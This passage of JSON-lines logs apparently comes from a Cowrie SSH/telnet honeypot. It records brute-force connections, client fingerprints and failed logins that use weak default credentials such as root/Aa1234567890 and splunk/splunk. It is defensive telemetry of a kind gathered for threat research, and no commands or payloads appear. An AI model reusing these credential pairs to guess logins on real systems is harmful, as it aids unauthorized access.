com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:12.143794Z","src_ip":"91.92.42.133","session":"f5db155f74f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:12.438264Z","src_ip":"91.92.42.133","session":"f5db155f74f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:13.575867Z","src_ip":"91.92.42.133","session":"f5db155f74f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56444,"dst_ip":"159.203.135.109","dst_port":22,"session":"feadf204b858","protocol":"ssh","message":"New connection: 91.92.40.171:56444 (159.203.135.109:22) [session: feadf204b858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:13.580281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:13.620615Z","src_ip":"91.92.40.171","session":"feadf204b858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:13.687304Z","src_ip":"91.92.40.171","session":"feadf204b858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43150,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a381f664e54","protocol":"telnet","message":"New connection: 128.199.8.54:43150 (159.203.135.109:23) [session: 6a381f664e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:14.066636Z"}
{"eventid":"cowrie.login.failed","username":"core","password":"P@ssw0rd","message":"login attempt [core/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:14.083459Z","src_ip":"91.92.40.171","session":"feadf204b858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:15.322184Z","src_ip":"91.92.40.171","session":"feadf204b858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55874,"dst_ip":"159.203.135.109","dst_port":22,"session":"681d991a3ec4","protocol":"ssh","message":"New connection: 91.92.42.133:55874 (159.203.135.109:22) [session: 681d991a3ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:17.464997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:17.470137Z","src_ip":"91.92.42.133","session":"681d991a3ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:17.557309Z","src_ip":"91.92.42.133","session":"681d991a3ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:17.864543Z","src_ip":"91.92.42.133","session":"681d991a3ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:18.966012Z","src_ip":"91.92.42.133","session":"681d991a3ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47992,"dst_ip":"159.203.135.109","dst_port":22,"session":"6018a26807f0","protocol":"ssh","message":"New connection: 91.92.40.171:47992 (159.203.135.109:22) [session: 6018a26807f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:19.307930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:19.316400Z","src_ip":"91.92.40.171","session":"6018a26807f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:19.424765Z","src_ip":"91.92.40.171","session":"6018a26807f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:19.731666Z","src_ip":"91.92.40.171","session":"6018a26807f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:20.834802Z","src_ip":"91.92.40.171","session":"6018a26807f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55936,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c332e8eece","protocol":"ssh","message":"New connection: 91.92.42.133:55936 (159.203.135.109:22) [session: a1c332e8eece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:23.375348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:23.426841Z","src_ip":"91.92.42.133","session":"a1c332e8eece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:23.508573Z","src_ip":"91.92.42.133","session":"a1c332e8eece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:23.896013Z","src_ip":"91.92.42.133","session":"a1c332e8eece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35572,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab8710d28d7","protocol":"ssh","message":"New connection: 91.92.40.171:35572 (159.203.135.109:22) [session: dab8710d28d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:24.946261Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:24.997570Z","src_ip":"91.92.42.133","session":"a1c332e8eece","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:25.021746Z","src_ip":"91.92.40.171","session":"dab8710d28d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:25.091506Z","src_ip":"91.92.40.171","session":"dab8710d28d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:25.500535Z","src_ip":"91.92.40.171","session":"dab8710d28d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:26.621493Z","src_ip":"91.92.40.171","session":"dab8710d28d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41502,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c986dfd2b8","protocol":"ssh","message":"New connection: 91.92.42.133:41502 (159.203.135.109:22) [session: d5c986dfd2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:29.055737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:29.073751Z","src_ip":"91.92.42.133","session":"d5c986dfd2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:29.161358Z","src_ip":"91.92.42.133","session":"d5c986dfd2b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"test","message":"login attempt [data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:29.599815Z","src_ip":"91.92.42.133","session":"d5c986dfd2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35644,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b71eeaf5548","protocol":"ssh","message":"New connection: 91.92.40.171:35644 (159.203.135.109:22) [session: 6b71eeaf5548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:30.168962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:30.257145Z","src_ip":"91.92.40.171","session":"6b71eeaf5548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:30.260645Z","src_ip":"91.92.40.171","session":"6b71eeaf5548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:30.731673Z","src_ip":"91.92.42.133","session":"d5c986dfd2b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:31.122565Z","src_ip":"91.92.40.171","session":"6b71eeaf5548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:32.251176Z","src_ip":"91.92.40.171","session":"6b71eeaf5548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.14932155609131,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:33.879473Z","src_ip":"172.81.62.90","session":"59dc6ce70ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46846,"dst_ip":"159.203.135.109","dst_port":22,"session":"53943a691851","protocol":"ssh","message":"New connection: 91.92.42.133:46846 (159.203.135.109:22) [session: 53943a691851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:34.732771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:34.736881Z","src_ip":"91.92.42.133","session":"53943a691851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:34.819989Z","src_ip":"91.92.42.133","session":"53943a691851","protocol":"ssh"}
